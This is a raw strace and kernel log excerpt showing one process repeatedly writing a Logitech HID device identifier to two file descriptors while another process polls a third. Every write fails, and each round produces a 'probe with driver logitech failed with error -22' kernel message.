[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.145202][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.157114][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.170175][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.205833][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.249627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.292720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.336148][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.358090][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.370045][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.384161][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.428080][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 75.439480][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.451444][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.474972][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.520609][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.549883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.581018][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.602201][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.623182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.643821][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.665103][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.685997][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.697268][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.709711][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.723778][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.747104][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.769540][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.784566][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.797734][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.810533][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.832476][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.855622][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.868361][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.891761][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.902839][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.926427][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.949913][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
